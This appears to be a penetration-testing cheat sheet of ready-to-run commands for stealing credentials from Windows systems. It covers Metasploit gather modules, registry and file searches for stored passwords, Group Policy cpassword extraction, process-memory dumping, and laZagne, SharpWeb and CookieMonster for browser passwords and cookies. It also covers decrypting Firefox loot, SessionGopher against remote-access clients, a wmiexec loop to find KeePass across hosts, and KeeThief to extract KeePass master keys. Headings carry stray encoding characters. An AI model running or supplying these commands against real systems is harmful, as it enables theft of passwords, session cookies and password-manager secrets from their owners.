Password Mining
Metasploitâ
run post/windows/gather/credentials/credential_collector
clipboard_get_data (extapi)
Clipboardâ
Get-clipboard
Manual searchâ
cmdkey /list
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si <passw> *.xml *.ini *.txt *.vbs *.cmd *.ps1 *.bat *.inf *.eml
Sysprep / GPPâ
C:\sysprep.inf
C:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend
%WINDIR%\Panther
%WINDIR%\System32\Sysprep
scanner/smb/smb_enum_gpp
findstr /S cpassword %logonserver%\sysvol\*.xml
Get-GPPPasswords.ps1
post/windows/gather/credentials/gpp
Process dumpâ
procdump.exe -accepteula -ma <process_name/pid> <out.dmp>
strings <out.dmp>
Out-minidump (Get-Process -Id <pid>)
Invoke-mimikittenz.ps1
Registryâ
Get-ItemProperty <registry_key>
reg query <registry_key>
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query HKCU\software\microsoft\windows\currentversion\explorer\runmru
reg query HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
reg query HKLM\SYSTEM\Current\ControlSet\Services\SNMP
reg query HKCU\Software\SimonTatham\PuTTY\Sessions
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKCU\Software\TightVNC\Server
reg query HKLM /f passw /t REG_SZ /s
reg query HKCU /f passw /t REG_SZ /s
AutoLogonâ
Get-RegistryAutoLogon
post/windows/gather/credentials/windows_autologin
Config files (PowerUp)â
Get-SiteListPassword
Get-WebConfig
Powershellâ
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
laZagneâ
laZagne.exe all
Browsers passwordsâ
SharpWeb.exe all
Chrome passwords and cookiesâ
tip
In all cases, Chrome must be shutdown when you collect clear text passwords. Must be run with the context of the targeted user.
CookieMonsterâ
CookieMonster creds
CookieMonster.exe cookies [-d <domain>] -e
CookieMonster -a
Firefox passwordsâ
post/multi/gather/firefox_creds
mkdir 61f7vbl2.default
cd 61f7vbl2.default
mv /root/.msf4/loot/20190808160816_default_172.16.1.5_ff.61f7vbl2.cert_864640.bin cert9.db
mv /root/.msf4/loot/20190808160827_default_172.16.1.5_ff.61f7vbl2.cook_132753.bin cookies.sqlite
mv /root/.msf4/loot/20190808160840_default_172.16.1.5_ff.61f7vbl2.key4_423309.bin key4.db
/opt/firefox_decrypt/firefox_decrypt.py ../61f7vbl2.default/
Remote Access toolsâ
WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain [-u <domain>\<user>] [-p <password>]
Invoke-SessionGopher -iL <computerlist.txt> [-u <domain>\<user>] [-p <password>]
Invoke-SessionGopher -Target <computername> -Thorough
Keepassâ
info
Works when KeePass is running and the database is unlocked. Does not need administrator privileges.
Ressources
- https://github.com/HarmJ0y/KeeThief
- http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
Detect Keepass
tasklist | findstr /I keepass
Get-Process keepass
List workstations with keepass from a RCE (WMI)
for ip in $(cat <list_ip.txt>); do wmiexec.py <username>:<password>@$ip 'tasklist | findstr /I keepass' | grep -i keepass 1>/dev/null && echo "[+] Found KeePass process on $ip"; done
Attackâ
Powershell
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose
Copy both files in the same directory on the target workstation and run the binary file.
tip
If Keepass needs a key file or windows user account or both: use KeePatched.exe
.
mRemoteNG parserâ
info
The script mRemoteNG_parser.py
takes confConfs.xml
as input.